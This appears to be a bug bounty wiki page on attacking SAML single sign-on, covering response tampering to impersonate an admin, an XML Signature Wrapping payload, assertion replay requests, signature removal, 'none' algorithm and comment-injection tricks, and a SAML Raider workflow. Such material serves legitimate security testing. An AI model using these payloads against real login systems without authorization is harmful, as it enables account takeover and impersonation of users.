BugBounty.info

SSO

3 min read

SSO & SAML

SAML is enterprise-grade authentication that's enterprise-grade broken. Every large target using "Login with your company account" is running SAML underneath. These bugs are high severity - SAML assertions represent trusted identity claims, so breaking validation is almost always a P1.

How SAML Works (Quick)

sequenceDiagram
    participant U as User
    participant SP as SP
    participant IdP as IdP

    U->>SP: Access resource
    SP->>U: Redirect with SAMLRequest
    U->>IdP: Authenticate
    IdP->>U: Signed SAMLResponse
    U->>SP: POST /saml/acs
    Note over SP: Sig validation
    Note over SP: Replay check
    SP->>U: Session established

The SAMLResponse is a base64-encoded, signed XML document. The attack surface is entirely in how the SP validates that document.

Response Manipulation

Try the simplest thing first - decode the SAMLResponse, edit the <NameID> or email attribute to a victim/admin, re-encode, and replay. Some SPs skip signature validation entirely. I've seen this on production enterprise apps.

# Decode
echo "BASE64_SAML_RESPONSE" | base64 -d > response.xml
 
# Edit the NameID or email attribute
# <NameID>attacker@company.com</NameID>  →  <NameID>admin@company.com</NameID>
 
# Re-encode
base64 -w 0 response.xml

Submit the modified response in the SAMLResponse POST parameter. If no error, you're in.

XML Signature Wrapping (XSW)

The signature in SAML covers a specific XML element identified by an ID. XSW attacks insert a malicious unsigned element that shadows the signed one, exploiting ambiguity in how the SP processes the document.

The idea: the SP validates the signature on element with ID="signed" - that element is fine. But when the SP extracts the NameID, it picks up your unsigned injected element instead.

There are 8 classic XSW variants. Use the SAML Raider Burp extension - it automates all 8 and shows you which ones the SP accepts.

Manual example (XSW #2):

<samlp:Response>
  <!-- Injected malicious assertion (unsigned) -->
  <saml:Assertion ID="evil">
    <saml:NameID>admin@victim.com</saml:NameID>
  </saml:Assertion>
  <!-- Original signed assertion (valid signature) -->
  <saml:Assertion ID="original">
    <saml:NameID>attacker@attacker.com</saml:NameID>
    <ds:Signature>...valid signature over ID=original...</ds:Signature>
  </saml:Assertion>
</samlp:Response>

Assertion Replay

SAML assertions have a NotOnOrAfter expiry but many SPs don't track which assertions they've already consumed. Capture a valid assertion, store it, replay it hours/days later.

POST /saml/acs HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
 
SAMLResponse=BASE64_CAPTURED_ASSERTION&RelayState=...

A properly implemented SP maintains an assertion ID cache and rejects duplicates. Test by replaying your own fresh assertion twice in a row - the second should fail with an error about reused assertions.

Signature Bypass via Algorithm Confusion

Remove the signature entirely - some SPs validate the signature only if it's present. If it's absent, they skip validation.

<!-- Remove the entire <ds:Signature> block and see what happens -->

Change the algorithm to none - modify <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/> to a null/none algorithm. Rare but has appeared in custom SAML parsers.

Comment injection - XML comments can sometimes confuse parsers:

<saml:NameID>admin<!---->.attacker@company.com</saml:NameID>

Burp + SAML Raider Workflow

  1. Install SAML Raider from the BApp Store
  2. Capture a SAMLResponse in Burp Proxy
  3. Right-click → Extensions → SAML Raider → Send to SAML Raider
  4. Run all XSW payloads automatically
  5. For manual testing - decode, edit, re-encode in the SAML Raider panel directly

Common Misconfigurations

  • SP accepts assertions from any IdP (no issuer validation) - you can set up your own IdP and forge assertions
  • InResponseTo attribute not validated - enables CSRF-style attacks
  • ACS URL not validated - assertions can be posted to the wrong endpoint
  • OAuth - modern alternative to SAML; many apps support both
  • MFA Bypass - SSO often controls MFA enforcement; bypassing SSO bypasses MFA
  • Privilege Escalation - SAML attribute manipulation for role escalation

Graph View

Backlinks